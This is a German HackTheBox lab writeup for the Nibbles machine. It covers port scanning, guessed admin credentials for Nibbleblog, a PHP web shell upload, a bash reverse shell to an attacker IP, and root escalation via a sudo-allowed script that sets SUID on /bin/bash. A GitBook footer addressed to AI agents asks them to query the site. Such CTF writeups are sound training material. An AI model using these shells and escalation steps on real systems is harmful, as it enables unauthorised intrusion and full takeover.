> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md).

# Nibbles HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Nibbles mit Abdeckung von Missbrauch von Nibbleblog - Remote Code Execution via File Upload, Missbrauch von Sudoers-Privilegien (Privilegieneskalation), mit praktischer Enumeration, Ausnutzung

{% embed url="<https://app.hackthebox.com/machines/121>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Missbrauch von Nibbleblog - Remotecodeausführung über Datei-Upload
* Missbrauch von Sudoers-Rechten (Rechteausweitung)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fae4202bcec441c70e4b0a7f5b653da4c3547ec%2Fimage%20(2559).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c04c6f19a4d08c786aa25c6000d300941d4eea8%2Fimage%20(2560).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.75 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-834608ec242f6b413fb0884699412612e1745931%2Fimage%20(2561).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren (22.80)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de919fa5cab3736290c6e5d17933d67d9ed0f37f%2Fimage%20(2562).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.10.75 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cb13865250f630684e1eadfe0e33ec63ef6e4ed%2Fimage%20(2563).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f52065f8f4b2a41321f7352e561854649ff86b1%2Fimage%20(2564).png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Inspektieren des Quellcodes der Webseite bemerken wir die Präsenz eines `/nibbleblog` Verzeichnis befindet.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f1ca97e5804187da61ecc42ddfd02e89f00ab05b%2Fimage%20(2565).png?alt=media" alt=""><figcaption></figcaption></figure>

### Nibbles Blog - CMS

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8a8288a7190968333d51726e8bb682ea7709af7%2Fimage%20(2566).png?alt=media" alt=""><figcaption></figcaption></figure>

Die Seite scheint ein CMS namens Nibbleblog zu sein. Wir werden `gobuster` verwenden, um nach zusätzlichen Verzeichnissen zu suchen:

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71c67d40edf0c2957abcb2af0ac6154acfa01f35%2Fimage%20(2568).png?alt=media" alt=""><figcaption></figcaption></figure>

#### PHP-Dateisuche:

Bei der Suche nach PHP-Dateien finden wir eine `admin.php` Datei, die offenbar zu einem Admin-Panel gehört.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cee0cedf187692d9787be32897aa898cf009b89%2Fimage%20(2569).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Anmeldeversuch mit Zugangsdaten:

Wir versuchen uns mit den folgenden Zugangsdaten zu verbinden:

* **Benutzer**: admin
* **Passwort**: nibbles

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a55e2baef42af7f58bb0cb95ffa89d5aa7018164%2Fimage%20(2570).png?alt=media" alt=""><figcaption></figcaption></figure>

Es funktioniert und wir greifen auf die Verwaltungsoberfläche zu.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d1891b19cb2fcfa6b7f67c5c964873ba67c8a7a%2Fimage%20(2571).png?alt=media" alt=""><figcaption></figcaption></figure>

## Schwachstelle Nibbleblog - Datei-Upload

Wir entdecken eine Funktionalität, die es ermöglicht, Bilder herunterzuladen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4ae7a07cbe149610911d0f89cc4b42e3e7ef69d%2Fimage%20(2572).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir werden eine `cmd.php` Datei mit dem folgenden Code erstellen, um die Ausführung von Befehlen zu ermöglichen

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

Die Datei wird in das `content` Verzeichnis heruntergeladen, wo wir einen `privaten` Unterordner mit Plugins finden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db006edabcb60681a0ce85027a3af630a5005201%2F%7BF479214E-BF39-4E2F-9C58-080BA47992C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Befehle über Datei-Upload ausführen:

Dank des `cmd` Parameters können wir Befehle ausführen. Beispielsweise verwenden wir die folgende URL, um System-ID-Informationen abzurufen:

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02805497b0b19fec445e2377010b51d7841746ea%2F%7B5D5A12A0-9B61-4593-B3A1-6DECFA728518%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir erhalten über eine Reverse Shell Zugriff auf den Server. Wir lauschen auf unserem Rechner auf Port 443:

```bash
nc -nlvp 443
```

Dann führen wir die Reverse Shell auf dem Zielsystem aus:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c410d3d8d1f9b483bd1dc55a2ad321396b21c6f4%2Fimage%20(2573).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal-Stabilisierung :

Im Terminal führen wir die folgenden Schritte aus, um die Sitzung zu stabilisieren:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79d75f380028d6fa75deba034965f3fcbf862a98%2Fimage%20(2574).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation :

### Sudo - monitor.sh (Datei nicht gefunden)

Wir entdecken eine Schwachstelle im Zusammenhang mit dem Ausführen von Skripten mit sudo-Rechten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38367dbf0bfeea0a676ca01f1e47041b5403670d%2Fimage%20(2575).png?alt=media" alt=""><figcaption></figcaption></figure>

Das `monitor.sh` Datei scheint nirgends zu finden zu sein, aber wir können ein Skript erstellen, das als root ausgeführt wird. Wir beginnen damit, die notwendigen Verzeichnisse zu erstellen:

```bash
cd /home/nibbler
mkdir personal
cd !$
mkdir stuff
cd !$
```

Wir legen die `monitor.sh` Datei dort mit folgendem Inhalt ab:

```bash
chmod u+s /bin/bash
```

Dann führen wir das Skript mit sudo-Rechten aus:

```bash
sudo /home/nibbler/personal/stuff/monitor.sh
```

Dies ermöglicht es, die Berechtigungen von `/bin/bash` durch Hinzufügen des SUID-Bits zu ändern. Anschließend führen wir den folgenden Befehl aus, um eine Shell mit Root-Rechten zu erhalten:

```bash
bash -p
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec0fbbb27459b9ae47f8bbc2b7f51a31e579e440%2Fimage%20(2576).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef5138c384680267585bb3aaae128241538c86fe%2Fimage%20(2577).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6ffb82dfdc6474331e137d2ca2875b28c1e0fc9%2F%7BB96AEFD6-475C-4153-BFE4-3B63EE34C503%7D.png?alt=media" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
